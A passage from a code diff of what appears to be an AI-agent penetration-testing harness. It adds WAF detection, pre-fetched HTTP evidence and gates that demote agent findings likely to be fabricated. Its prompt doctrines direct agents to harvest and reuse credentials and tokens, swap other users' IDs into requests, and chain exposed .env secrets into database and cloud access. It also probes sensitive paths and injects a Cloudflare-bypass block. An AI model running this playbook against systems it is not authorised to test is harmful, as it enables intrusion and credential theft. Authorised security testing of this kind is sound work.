below — do NOT fabricate HTTP responses.\n\ + 2. If an endpoint is not listed here, you do NOT have its response.\n\ + 3. Any finding you report MUST reference evidence from this section.\n\ + 4. curl/wget commands you run against WAF-protected targets will return\n\ + challenge pages, NOT the real application — use this data instead.\n\n" + ); + let mut budget = max_chars; + for r in &self.responses { + let header_block: String = r.headers.iter() + .filter(|(k, _)| { + let lk = k.to_lowercase(); + ["content-type", "set-cookie", "location", "x-powered-by", + "server", "x-frame-options", "content-security-policy", + "access-control-allow-origin", "www-authenticate", + "x-csrf-token", "x-request-id"] + .iter().any(|h| lk.contains(h)) + }) + .map(|(k, v)| format!(" {k}: {v}")) + .collect::>().join("\n"); + let body_cap = r.body.chars().take(3000).collect::(); + let entry = format!( + "### {} {} → HTTP {status} (via {via})\n{headers}\n```\n{body}\n```\n\n", + r.method, r.url, + status = r.status, via = r.via, + headers = if header_block.is_empty() { String::from(" (no security-relevant headers)") } else { header_block }, + body = body_cap, + ); + if entry.len() > budget { break; } + budget -= entry.len(); + out.push_str(&entry); + } + out.push_str("=== END CAG EVIDENCE ===\n"); + out + } +} + +/// Collect HTTP evidence for all discovered endpoints. +/// Uses browser when WAF is detected, curl otherwise. +async fn cag_collect( + target: &str, + recon_json: &str, + waf_challenge: bool, + tx: &Sender, +) -> CagCache { + let urls = extract_prefetch_urls(target, recon_json); + if urls.is_empty() { + return CagCache::default(); + } + + let _ = tx.send(format!( + "🧠 CAG: collecting HTTP evidence for {} endpoint(s){}", + urls.len(), + if waf_challenge { " (browser mode — WAF detected)" } else { " (curl mode)" } + )).await; + + let mut cache = CagCache::default(); + + if waf_challenge { + // Browser-based collection + let browser_html = browser_prefetch(target, recon_json, tx).await; + // Parse the browser_prefetch output back into structured CagResponses + // (browser_prefetch already did the work — reuse its data) + for url in &urls { + // Run a lightweight curl too to capture headers even if body is WAF + let curl_resp = cag_curl_one(url, tx).await; + if let Some(mut r) = curl_resp { + // If WAF blocked curl, check if browser got real content + if is_waf_body(&r.body) { + r.body = extract_browser_body(&browser_html, url); + if !r.body.is_empty() { + r.via = "browser".into(); + } + } + cache.responses.push(r); + } + } + } else { + // Curl-based collection (no WAF) + for url in &urls { + if let Some(r) = cag_curl_one(url, tx).await { + cache.responses.push(r); + } + } + } + + // Also collect common sensitive paths + let sensitive_paths = [ + "/.env", "/.git/HEAD", "/robots.txt", "/.well-known/security.txt", + "/sitemap.xml", "/wp-login.php", "/xmlrpc.php", "/api/", "/graphql", + ]; + let base = target.trim_end_matches('/'); + for path in &sensitive_paths { + let url = format!("{base}{path}"); + if cache.responses.iter().any(|r| r.url == url) { continue; } + if let Some(r) = cag_curl_one(&url, tx).await { + cache.responses.push(r); + } + } + + let _ = tx.send(format!( + "✓ CAG: collected {} response(s) — agents will analyze pre-fetched evidence", + cache.len() + )).await; + + // Persist to workdir for post-processing + cache +} + +/// Fetch a single URL with curl (the harness's own HTTP client). +async fn cag_curl_one(url: &str, _tx: &Sender) -> Option { + let client = crate::probe::http_client(); + let resp = match tokio::time::timeout( + std::time::Duration::from_secs(10), + client.get(url) + .header("User-Agent", realistic_user_agent()) + .send(), + ).await { + Ok(Ok(r)) => r, + _ => return None, + }; + let status = resp.status().as_u16(); + let mut headers = std::collections::HashMap::new(); + for (k, v) in resp.headers() { + headers.insert(k.to_string(), v.to_str().unwrap_or("").to_string()); + } + let body = resp.text().await.unwrap_or_default(); + // Truncate body to 4000 chars + let body: String = body.chars().take(4000).collect(); + Some(CagResponse { + url: url.to_string(), + method: "GET".into(), + status, + headers, + body, + via: "curl".into(), + }) +} + +/// Check if response body is a WAF challenge page. +fn is_waf_body(body: &str) -> bool { + let markers = [ + "Just a moment", "Cloudflare", "cf-browser-verification", + "challenge-platform", "Checking your browser", "DDoS protection", + "_cf_chl_opt", "Attention Required", + ]; + markers.iter().any(|m| body.contains(m)) +} + +/// Extract rendered body for a URL from the browser_prefetch block. +fn extract_browser_body(browser_block: &str, url: &str) -> String { + let marker = format!("### {} (HTTP", url); + if let Some(start) = browser_block.find(&marker) { + let rest = &browser_block[start..]; + if let Some(code_start) = rest.find("```html\n") { + let content = &rest[code_start + 8..]; + if let Some(code_end) = content.find("\n```") { + return content[..code_end].to_string(); + } + } + } + String::new() +} + +/// CAG grounding gate: demote findings that reference endpoints not in the +/// evidence cache, or whose claimed status codes contradict the cache. +fn cag_grounding_gate(findings: &mut Vec, cache: &CagCache, tx_sync: Option<&Sender>) -> usize { + if cache.is_empty() { return 0; } + let mut demoted = 0usize; + for f in findings.iter_mut() { + let ep = f.endpoint.trim(); + if ep.is_empty() || !ep.starts_with("http") { continue; } + + // Check if we have evidence for this endpoint + let cached = cache.responses.iter().find(|r| { + r.url == ep || ep.starts_with(&r.url) || r.url.starts_with(ep) + }); + + if let Some(cr) = cached { + // If cached response was a WAF page but finding claims real content + if is_waf_body(&cr.body) && cr.via == "curl" && f.confidence > 0.3 { + f.review_reason = format!( + "CAG grounding: endpoint {} returned WAF challenge in pre-fetch (HTTP {}), \ + but agent claimed exploitable content. {}", + ep, cr.status, f.review_reason + ); + f.confidence = f.confidence.min(0.15); + f.validated = false; + f.review_status = "needs-review".into(); + demoted += 1; + } + } + // Not demoting findings for endpoints we didn't prefetch — agents may + // discover new endpoints during active testing (curl works for non-WAF). + } + demoted +} + /// Identify NeuroSploit traffic at the request layer (User-Agent + a marker /// header). Overridable via `NEUROSPLOIT_UA`. fn ua_line() -> String { @@ -869,7 +1333,30 @@ const CHAIN_DOCTRINE: &str = "CHAIN THE FOOTHOLD (pivot to deeper, provable impa - Reuse loot relentlessly: every credential/JWT/cookie/API key/host you obtain is input to the next step — carry it forward across modules and try it everywhere it might be accepted.\n\ - Mine object references (this is the BOLA/IDOR engine): from EVERY response harvest each object identifier you see — numeric ids, UUIDs, order/invoice/document/ticket numbers, account/customer ids, filenames, emails, and any signed/opaque token — into a reference pool. Then systematically SUBSTITUTE another principal's identifier into every request that accepts one (path segment, query param, JSON field, header, cookie) and diff the response against your own: another user's data returned under your session IS the proof. Do this ACROSS identities — register/hold ≥2 accounts and cross them — and across endpoints, because an id leaked on one route (a list/search/export) is often the key to an object on another (a detail/update/delete route). Enumerate sequential ids sparingly (a small benign sample, never a mass scrape) to show the pattern, then stop at proof.\n\ - Understand the BUSINESS & LOGIC: reason about what the app is FOR (payments, orders, tenancy, KYC, entitlements) and chain toward business impact — payment/price/coupon abuse, cross-tenant data access, entitlement/limit bypass, workflow/state-machine skips (skip approval/verification steps), race conditions on balance/stock. These compound: each finding updates your model of the app for the next probe.\n\ -- Stop at proof: demonstrate the impact with the SMALLEST safe step and report the CHAIN end-to-end; never destroy, overwrite, encrypt, mass-exfiltrate, or DoS to 'prove' it.\n\n"; +- Stop at proof: demonstrate the impact with the SMALLEST safe step and report the CHAIN end-to-end; never destroy, overwrite, encrypt, mass-exfiltrate, or DoS to 'prove' it.\n\ +- SOURCEMAP HARVEST: for every JS bundle, check for `.map` files (append `.map` to the URL, check `sourceMappingURL` comment at end of file). Sourcemaps contain FULL original TypeScript/JSX source — extract it, grep for secrets/endpoints/auth logic/TODO comments, and feed discovered endpoints back as new attack surface.\n\ +- SECRET EXTRACTION DEPTH: secrets chain transitively — an exposed `.env` yields DB creds, DB dump yields API keys, API keys yield cloud access, cloud access yields more secrets in Secrets Manager/SSM. Follow every link. Each secret found is a new foothold.\n\ +- BUILD ARTIFACT MINING: check `asset-manifest.json`, `_buildManifest.js`, `stats.json`, `compilation-stats.json`, `__NEXT_DATA__`, `window.__INITIAL_STATE__` — these leak routes, props, internal state, and sometimes secrets.\n\n"; + +/// CAG (Context-Augmented Generation) doctrine: when the harness pre-collected +/// HTTP evidence, agents must analyze that data instead of making their own +/// requests. Prevents hallucination by grounding analysis in real responses. +const CAG_DOCTRINE: &str = "\ +CAG MODE (Context-Augmented Generation):\n\ +The harness pre-fetched HTTP responses for key endpoints BEFORE you were invoked.\n\ +Look for the '=== CAG: PRE-COLLECTED HTTP EVIDENCE ===' section in the recon context.\n\ +RULES:\n\ +1. For ANY endpoint listed in the CAG section, use THAT response as ground truth.\n\ + Do NOT re-fetch it with curl — your curl request may hit a WAF/CDN and get a\n\ + different (blocked) response than what the real application returns.\n\ +2. You MAY still use curl for endpoints NOT in the CAG section (new endpoints you\n\ + discover, specific paths with payloads, etc.).\n\ +3. NEVER fabricate or imagine HTTP response content. If you did not receive the\n\ + response (not in CAG, and your curl got blocked), say so explicitly.\n\ +4. Every finding MUST cite observable evidence — either from the CAG section or\n\ + from a curl response you actually received (quote status code + relevant body).\n\ +5. A Cloudflare/WAF challenge page (403 with 'Just a moment...') is NOT evidence\n\ + of a vulnerability — it means the endpoint is blocked and you cannot test it.\n\n"; /// WHITEBOX doctrine: this is a STATIC source review — keep the agent in the code, /// not on the wire. Prevents whitebox runs from hallucinating black-box network @@ -1374,11 +1861,15 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender // ---- 1. Recon ------------------------------------------------------ // 1a. Deterministic HTTP probe (real request/response facts) — grounds the // model recon and every downstream decision. Best-effort, skipped offline. + let mut waf_challenge = false; + let mut _waf_vendor = String::new(); let probe_facts = if cfg.offline { String::new() } else { let p = crate::probe::probe_in_scope(&cfg.target, &effective_scope(&cfg)).await; let _ = tx.send(crate::probe::probe_summary(&p)).await; + waf_challenge = p.waf_challenge; + _waf_vendor = p.waf_vendor.clone(); // Liveness preflight: if the target never answered (connect failed / // status 0), don't waste agents on a dead host — abort with a clear note. if p.status == 0 { @@ -1388,6 +1879,14 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender let artifacts = persist(&cfg, "{}", "", &[]); return RunOutput { target: cfg.target.clone(), workdir: cfg.workdir.clone().unwrap_or_default(), findings: vec![], agents_ran: vec![], candidates: 0, recon: String::new(), artifacts, denied: None }; } + // WAF challenge detected: warn operator but don't abort — browser-based + // recon can still map the surface. + if p.waf_challenge { + let _ = tx.send(format!( + "⚠ {} challenge detected — switching to BROWSER-FIRST recon (curl will not reach the app)", + if p.waf_vendor.is_empty() { "WAF/CDN".to_string() } else { p.waf_vendor.clone() } + )).await; + } // Identify the ASSET (product + stack), not just the URL, for the report. let asset = identify_asset(&p); let _ = tx.send(format!("✓ target is UP (HTTP {}) — {} — starting recon", p.status, asset)).await; @@ -1412,13 +1911,23 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender // KALI TOOL-RECON: run the real recon pipeline (gau/katana URL harvest + // targeted nuclei) inside the sandbox (or on host tools), then let the LLM // refine on top of the output. Provisions the toolbox in Kali on demand. + // Timeout: 90s to prevent hanging on WAF-blocked targets. let tool_recon = if cfg.offline { String::new() } else { if let Some(sb) = engagement_sandbox(&cfg) { kali_provision_recon_tools(&sb, &tx).await; } - kali_tool_recon(&cfg, &live_hosts, &tx).await + match tokio::time::timeout( + std::time::Duration::from_secs(90), + kali_tool_recon(&cfg, &live_hosts, &tx), + ).await { + Ok(result) => result, + Err(_) => { + let _ = tx.send("⚠ tool-recon timed out (90s) — continuing with probe data".into()).await; + String::new() + } + } }; // OPT-IN: let the model pick a bounded set of real tools from the catalog @@ -1435,12 +1944,45 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender let probe_facts = format!("{probe_facts}{subdomains}{tool_recon}{agent_tools}"); + // Inject Cloudflare/WAF bypass context when a challenge was detected. + let probe_facts = if waf_challenge { + format!("{CF_BYPASS_OPS}\n{probe_facts}") + } else { + probe_facts + }; + let recon = if cfg.offline { let _ = tx.send("recon: offline mode — skipping model calls".into()).await; "{}".to_string() } else { - // Intense, multi-round active recon (installs tools, expands the surface). - deep_recon(&cfg, pool, &probe_facts, &tx).await + // Deep recon with timeout: if it takes >120s, fall back to cached recon. + // This prevents hanging on WAF-blocked targets where the LLM recon agent + // tries curl but Cloudflare/WAF blocks all non-browser requests. + let recon_timeout = if waf_challenge { 60 } else { 120 }; + match tokio::time::timeout( + std::time::Duration::from_secs(recon_timeout), + deep_recon(&cfg, pool, &probe_facts, &tx), + ).await { + Ok(result) if !result.is_empty() && result != "{}" => result, + Ok(_) | Err(_) => { + // Recon empty or timed out — fall back to cached recon. + if let Some((cached_recon, _, ts)) = &prev_recon_cache { + if !cached_recon.is_empty() && cached_recon != "{}" { + let _ = tx.send(format!( + "⚠ recon timed out or empty — using cached recon ({})", + format_elapsed(*ts) + )).await; + cached_recon.clone() + } else { + let _ = tx.send("⚠ recon timed out + no cached recon — proceeding with probe data only".into()).await; + "{}".to_string() + } + } else { + let _ = tx.send("⚠ recon timed out + no cached recon — proceeding with probe data only".into()).await; + "{}".to_string() + } + } + } }; // Save recon to cache for future runs against same host. @@ -1470,6 +2012,25 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender } } + // ---- 1a-bis. CAG: pre-collect HTTP evidence for all discovered endpoints + // so exploit agents analyze real data instead of fetching (and + // potentially hallucinating) their own responses. + let cag_cache = if !cfg.offline { + cag_collect(&cfg.target, &recon, waf_challenge, &tx).await + } else { + CagCache::default() + }; + let cag_context = cag_cache.to_context(12000); + // Persist CAG cache for post-processing and report correlation. + if !cag_cache.is_empty() { + if let Some(wd) = cfg.workdir.as_deref() { + let path = Path::new(wd).join("cag_cache.json"); + if let Ok(json) = serde_json::to_string_pretty(&cag_cache) { + let _ = std::fs::write(&path, json); + } + } + } + // ---- 1b. Graph checkpoint: seed the attack graph from recon --------- let agent_names: Vec = lib.vulns.iter().map(|a| a.name.clone()).collect(); let graph_agents = graph_checkpoint(&cfg, &recon, &[], "recon", &agent_names, &tx).await.agents; @@ -1581,9 +2142,14 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender std::fs::canonicalize(&p).unwrap_or(p).display().to_string() }).unwrap_or_default(); let shots = if evidence_dir.is_empty() { String::new() } else { screenshot_doctrine(&evidence_dir) }; - // Each agent gets a capped recon context. 8000 chars gives enough room for - // discovered endpoints, forms, and parameters from the deep crawl. - let recon_ctx: String = recon.chars().take(8000).collect(); + // Each agent gets a capped recon context. When CAG evidence is available, + // append pre-collected HTTP responses so agents analyze real data. + let recon_ctx: String = if cag_context.is_empty() { + recon.chars().take(8000).collect() + } else { + let base: String = recon.chars().take(6000).collect(); + format!("{base}{cag_context}") + }; // Resume support: skip agents that already ran in a previous invocation. let snapshot = cfg.workdir.as_deref().and_then(crate::resilience::RunSnapshot::load); @@ -1605,10 +2171,13 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender // token, so with NEUROSPLOIT_PROMPT_PREFIX=1 this block leads the system // message instead of sitting behind each agent's own system prompt. Off by // default: the prompt is then byte-for-byte what it was. + let cf_bypass = if waf_challenge { CF_BYPASS_EXPLOIT_HINT } else { "" }; + let cag_doctrine = if !cag_cache.is_empty() { CAG_DOCTRINE } else { "" }; let shared_block = format!( - "{directives}{react}{depth}{decision}{explore}{spa}{safety}{ops}{doctrine}{shots}", + "{directives}{react}{depth}{decision}{explore}{spa}{safety}{ops}{cf_bypass}{cag_doctrine}{doctrine}{shots}", directives = directives, react = REACT_DOCTRINE, depth = DEPTH_DOCTRINE, decision = DECISION_DOCTRINE, explore = EXPLORE_DOCTRINE, spa = spa, safety = SAFETY_DOCTRINE, ops = ops, + cf_bypass = cf_bypass, cag_doctrine = cag_doctrine, doctrine = tool_doctrine(mcp_on), shots = shots, ); let prefix_on = prompt_prefix_enabled(); @@ -1826,6 +2395,92 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender let mut all_findings: Vec = raw.iter().flat_map(|(_, _, f)| f.clone()).collect(); all_findings.append(&mut prior_salvaged); let candidates = dedup_findings(all_findings); + + // ---- 3b. WAF anti-hallucination gate --------------------------------- + // When a WAF/JS-challenge is active, agents using curl/HTTP get blocked + // but may fabricate evidence claiming success. For each finding WITHOUT + // structured evidence_data, replay the endpoint and check if the WAF + // blocks it. If the replay gets a WAF block (403/503 challenge page), + // the finding is demoted to needs-review as likely hallucinated. + let candidates = if waf_challenge && !cfg.offline { + let client = crate::probe::http_client(); + let mut kept = Vec::with_capacity(candidates.len()); + let mut demoted_waf = 0usize; + for mut f in candidates { + // Skip findings that already have structured evidence (wire-verified separately) + if f.evidence_data.is_some() { + kept.push(f); + continue; + } + // Skip Info-level findings (config/disclosure, not action claims) + if f.severity == "Info" { + kept.push(f); + continue; + } + // Only check findings that claim an HTTP endpoint + let ep = f.endpoint.trim(); + if !ep.starts_with("http://") && !ep.starts_with("https://") { + kept.push(f); + continue; + } + // Quick replay: can we actually reach the endpoint? + let replay_ok = match tokio::time::timeout( + std::time::Duration::from_secs(10), + client.get(ep).send(), + ).await { + Ok(Ok(resp)) => { + let status = resp.status().as_u16(); + // WAF blocks: 403 (Cloudflare), 503 (challenge page), 429 (rate limit) + // If we get one of these, the agent couldn't have gotten through either + if status == 403 || status == 503 { + let body = resp.text().await.unwrap_or_default(); + let is_waf_page = body.contains("Cloudflare") + || body.contains("cf-browser-verification") + || body.contains("Just a moment") + || body.contains("challenge-platform") + || body.contains("ray ID"); + !is_waf_page // OK only if NOT a WAF page + } else { + true // non-403/503 means endpoint is reachable + } + } + _ => true, // timeout/error: don't penalize, let voter decide + }; + if !replay_ok { + f.validated = false; + f.review_status = "needs-review".into(); + f.review_reason = format!( + "WAF anti-hallucination: endpoint returned WAF challenge/403 on replay — agent likely fabricated evidence. {}", + f.review_reason + ); + f.confidence = f.confidence.min(0.15); + demoted_waf += 1; + } + kept.push(f); + } + if demoted_waf > 0 { + let _ = tx.send(format!( + "🛡 WAF anti-hallucination: demoted {demoted_waf} finding(s) — endpoint blocked by WAF on replay, evidence likely fabricated" + )).await; + } + kept + } else { + candidates + }; + + // ---- 3c. CAG grounding gate ------------------------------------------- + // Cross-reference findings against the pre-collected evidence cache. + // Demote findings whose endpoints returned WAF challenges in the cache. + let mut candidates = candidates; + if !cag_cache.is_empty() { + let cag_demoted = cag_grounding_gate(&mut candidates, &cag_cache, Some(&tx)); + if cag_demoted > 0 { + let _ = tx.send(format!( + "🧠 CAG grounding: demoted {cag_demoted} finding(s) — pre-fetched evidence contradicts agent claims" + )).await; + } + } + let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating by {}-model vote", candidates.len(), cfg.vote_n)).await; if pool.candidates.len() == 1 && effective_vote_n(&cfg) <= 1 { let _ = tx.send("⚠ single-model panel with vote_n=1 — validation is weaker (same model validates its own findings). Consider --vote-n 2 or adding a second model for cross-validation.".into()).await; @@ -1958,11 +2613,13 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se cfg.target, repo, lib.code.len())).await; // ---- 1. Recon the live target (deterministic probe + model) ------- + let mut gb_waf_challenge = false; let recon = if cfg.offline { "{}".to_string() } else { let p = crate::probe::probe_in_scope(&cfg.target, &effective_scope(&cfg)).await; let _ = tx.send(crate::probe::probe_summary(&p)).await; + gb_waf_challenge = p.waf_challenge; let facts = crate::probe::probe_json(&p); match pool.complete_routed(Task::Recon, "recon", RECON_SYS, &format!("{}{}OBSERVED HTTP PROBE (real facts — build on these):\n{}\n\nTarget: {}", @@ -1971,6 +2628,13 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se Err(e) => { let _ = tx.send(format!("recon failed ({e}) — probe facts only")).await; facts } } }; + // CAG: pre-collect HTTP evidence for greybox agents. + let gb_cag_cache = if !cfg.offline { + cag_collect(&cfg.target, &recon, gb_waf_challenge, &tx).await + } else { + CagCache::default() + }; + let gb_cag_context = gb_cag_cache.to_context(8000); // Graph checkpoint: seed the attack graph from recon. let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await; @@ -2053,7 +2717,12 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se let mcp_on = pool.mcp_config.is_some(); let directives = operator_directives(&cfg); let ops = engagement_ops(&cfg); - let recon_ctx: String = recon.chars().take(3000).collect(); + let recon_ctx: String = if gb_cag_context.is_empty() { + recon.chars().take(3000).collect() + } else { + let base: String = recon.chars().take(2000).collect(); + format!("{base}{gb_cag_context}") + }; let leads_ctx = code_leads.clone(); let gb_workdir = cfg.workdir.clone(); let raw: Vec<(String, String, Vec)> = stream::iter(selected.iter().cloned()) @@ -2103,7 +2772,16 @@ pub async fn run_greybox(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Se crate::traces::record_all(cfg.workdir.as_deref(), &raw); let transcript = format!("{}\n{}", code_leads, transcript_of(&raw)); - let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + let mut candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + // CAG grounding gate: cross-reference findings against pre-fetched evidence. + if !gb_cag_cache.is_empty() { + let cag_demoted = cag_grounding_gate(&mut candidates, &gb_cag_cache, Some(&tx)); + if cag_demoted > 0 { + let _ = tx.send(format!( + "🧠 CAG grounding (greybox): demoted {cag_demoted} finding(s) — pre-fetched evidence contradicts agent claims" + )).await; + } + } let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await; let mut findings = validate(candidates, pool, VOTE_SYS, effective_vote_n(&cfg), &tx).await; let chained = attack_chain(pool, &cfg, &recon, &findings, &lib.chains, &tx).await; @@ -2410,6 +3088,18 @@ async fn attack_chain(pool: &ModelPool, cfg: &RunConfig, recon: &str, if !all_new.is_empty() { let _ = tx.send(format!("⛓ attack-chaining added {} finding(s) across pivots", all_new.len())).await; } + // Persist the loot. Until now it existed only inside the round prompts and + // died with them, so the credentials an operator actually carried forward + // never reached the report. The attack-path builder folds this back in as + // material nodes. + if !loot.is_empty() { + if let Some(dir) = cfg.workdir.as_deref() { + let _ = std::fs::write( + Path::new(dir).join("loot.json"), + serde_json::to_string_pretty(&loot).unwrap_or_default(), + ); + } + } all_new } @@ -2897,6 +3587,22 @@ async fn validate(candidates: Vec, pool: &ModelPool, sys: &str, vote_n: } async fn validate_with_persist(candidates: Vec, pool: &ModelPool, sys: &str, vote_n: usize, tx: &Sender, workdir: Option<&str>) -> Vec { + // Stamp the clock. A path is a sequence in time as much as in dependency: + // the attack-path builder refuses to let a later step enable an earlier + // one, and it can only do that if each step records when it was proven. + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0); + let candidates: Vec = candidates + .into_iter() + .map(|mut f| { + if f.observed_at == 0 { + f.observed_at = now; + } + f + }) + .collect(); // Fast-track: findings with no evidence are unverifiable — skip the vote // and flag for human review instead of wasting a validator call that will // always reject ("default to rejected when uncertain" + empty evidence). @@ -3451,6 +4157,30 @@ async fn finish(cfg: RunConfig, _lib: &Library, pool: &ModelPool, recon: String, if chained > 0 { let _ = tx.send(format!("attack paths: {chained} finding(s) linked to what enables them")).await; } + // Then chain them ACROSS domains. The rules above are web-local by design + // and stop at the host boundary; an engagement's real path does not — it + // carries a hash off a hypervisor into a directory, a share password into + // a database, a token out of process memory into a cloud tenant. This pass + // links on what each step produces and the next one consumes, for every + // plane the agent library covers, and only where the material could + // actually have travelled that far. + { + let loot: Vec = cfg + .workdir + .as_deref() + .and_then(|d| std::fs::read_to_string(Path::new(d).join("loot.json")).ok()) + .and_then(|t| serde_json::from_str(&t).ok()) + .unwrap_or_default(); + let crossed = crate::attack_path::apply(&mut findings); + let graph = crate::attack_path::build(&cfg.target, &findings, &loot); + let best = graph.paths(1); + if crossed > 0 || best.first().map(|p| p.steps >= 2).unwrap_or(false) { + let _ = tx.send(format!("⛓ attack path: {}", crate::attack_path::summary(&graph))).await; + } + if let Some(p) = best.first().filter(|p| p.steps >= 2) { + let _ = tx.send(format!("⛓ best path: {}", p.narrative)).await; + } + } // Collect proof screenshots into evidence/-N.png so the report // can embed each image beside its vulnerability. if let Some(dir) = cfg.workdir.as_deref() { @@ -5024,15 +5754,30 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende let _ = tx.send(format!("HOST · target: {} · {} infra agents · models: {}", cfg.target, lib.infra.len(), pool.candidates.iter().map(|m| m.label()).collect::>().join(", "))).await; + let mut waf_challenge = false; let recon = if cfg.offline { "{}".to_string() } else { + // Lightweight HTTP probe for WAF detection on infra targets with web interfaces. + if cfg.target.starts_with("http://") || cfg.target.starts_with("https://") { + let p = crate::probe::probe_in_scope(&cfg.target, &effective_scope(&cfg)).await; + waf_challenge = p.waf_challenge; + } let user = format!("{}{}Target host: {}", operator_directives(&cfg), HOST_TOOLING, cfg.target); match pool.complete_routed(Task::Recon, "recon", HOST_RECON_SYS, &user).await { Ok((m, t)) => { let _ = tx.send(format!("recon complete via {}", m.label())).await; t } Err(e) => { let _ = tx.send(format!("recon failed ({e})")).await; "{}".to_string() } } }; + + // CAG: pre-collect HTTP evidence for infra targets with web interfaces. + let cag_cache = if !cfg.offline && (cfg.target.starts_with("http://") || cfg.target.starts_with("https://")) { + cag_collect(&cfg.target, &recon, waf_challenge, &tx).await + } else { + CagCache::default() + }; + let cag_context = cag_cache.to_context(8000); + // Graph checkpoint: seed the attack graph from recon. let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await; @@ -5065,7 +5810,12 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende let target = cfg.target.clone(); let verbose = cfg.verbose; let directives = operator_directives(&cfg); - let recon_ctx: String = recon.chars().take(3000).collect(); + let recon_ctx: String = if cag_context.is_empty() { + recon.chars().take(3000).collect() + } else { + let base: String = recon.chars().take(2000).collect(); + format!("{base}{cag_context}") + }; let host_workdir = cfg.workdir.clone(); let raw: Vec<(String, String, Vec)> = stream::iter(selected.iter().cloned()) .map(|ag| { @@ -5109,7 +5859,16 @@ pub async fn run_host(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sende crate::traces::record_all(cfg.workdir.as_deref(), &raw); let transcript = transcript_of(&raw); - let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + let mut candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + // CAG grounding gate: cross-reference findings against pre-collected evidence. + if !cag_cache.is_empty() { + let cag_demoted = cag_grounding_gate(&mut candidates, &cag_cache, Some(&tx)); + if cag_demoted > 0 { + let _ = tx.send(format!( + "🧠 CAG grounding: demoted {cag_demoted} finding(s) — pre-fetched evidence contradicts agent claims" + )).await; + } + } let _ = tx.send(format!("{} candidate finding(s) (deduped) — validating", candidates.len())).await; let mut findings = validate(candidates, pool, VOTE_SYS, effective_vote_n(&cfg), &tx).await; let chained = attack_chain(pool, &cfg, &recon, &findings, &lib.chains, &tx).await; @@ -5857,9 +6616,11 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender< agents.len(), pool.candidates.iter().map(|m| m.label()).collect::>().join(", "), cfg.vote_n)).await; // Recon the AI endpoint (probe + model recon). + let mut waf_challenge = false; let recon = if cfg.offline { "{}".to_string() } else { let p = crate::probe::probe_in_scope(&cfg.target, &effective_scope(&cfg)).await; let _ = tx.send(crate::probe::probe_summary(&p)).await; + waf_challenge = p.waf_challenge; let facts = crate::probe::probe_json(&p); match pool.complete_routed(Task::Recon, "ai-recon", AI_RECON_SYS, &format!("{}OBSERVED HTTP PROBE:\n{}\n\nAI target: {}", operator_directives(&cfg), facts, cfg.target)).await { @@ -5867,6 +6628,13 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender< Err(e) => { let _ = tx.send(format!("ai-recon failed ({e}) — probe facts only")).await; facts } } }; + // CAG: pre-collect HTTP evidence for AI endpoint. + let cag_cache = if !cfg.offline { + cag_collect(&cfg.target, &recon, waf_challenge, &tx).await + } else { + CagCache::default() + }; + let cag_context = cag_cache.to_context(8000); // Graph checkpoint: seed the attack graph from recon. let _ = graph_checkpoint(&cfg, &recon, &[], "recon", &[], &tx).await; let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); @@ -5881,7 +6649,12 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender< let target = cfg.target.clone(); let directives = operator_directives(&cfg); - let recon_ctx: String = recon.chars().take(3500).collect(); + let recon_ctx: String = if cag_context.is_empty() { + recon.chars().take(3500).collect() + } else { + let base: String = recon.chars().take(2500).collect(); + format!("{base}{cag_context}") + }; let ai_workdir = cfg.workdir.clone(); let raw: Vec<(String, String, Vec)> = stream::iter(selected.iter().cloned()) .map(|ag| { @@ -5921,7 +6694,14 @@ pub async fn run_ai(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender< crate::traces::record_all(cfg.workdir.as_deref(), &raw); let transcript = transcript_of(&raw); - let candidates = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + let mut candidates: Vec = dedup_findings(raw.iter().flat_map(|(_, _, f)| f.clone()).collect()); + // CAG grounding gate. + if !cag_cache.is_empty() { + let cag_demoted = cag_grounding_gate(&mut candidates, &cag_cache, Some(&tx)); + if cag_demoted > 0 { + let _ = tx.send(format!("🧠 CAG grounding: demoted {cag_demoted} AI finding(s)")).await; + } + } let _ = tx.send(format!("{} AI candidate(s) — validating", candidates.len())).await; let mut findings = validate(candidates, pool, VOTE_SYS, effective_vote_n(&cfg), &tx).await; let chained = attack_chain(pool, &cfg, &recon, &findings, &lib.chains, &tx).await; diff --git a/neurosploit-rs/crates/harness/src/policy.rs b/neurosploit-rs/crates/harness/src/policy.rs index 7e5305e..6409eb4 100644 --- a/neurosploit-rs/crates/harness/src/policy.rs +++ 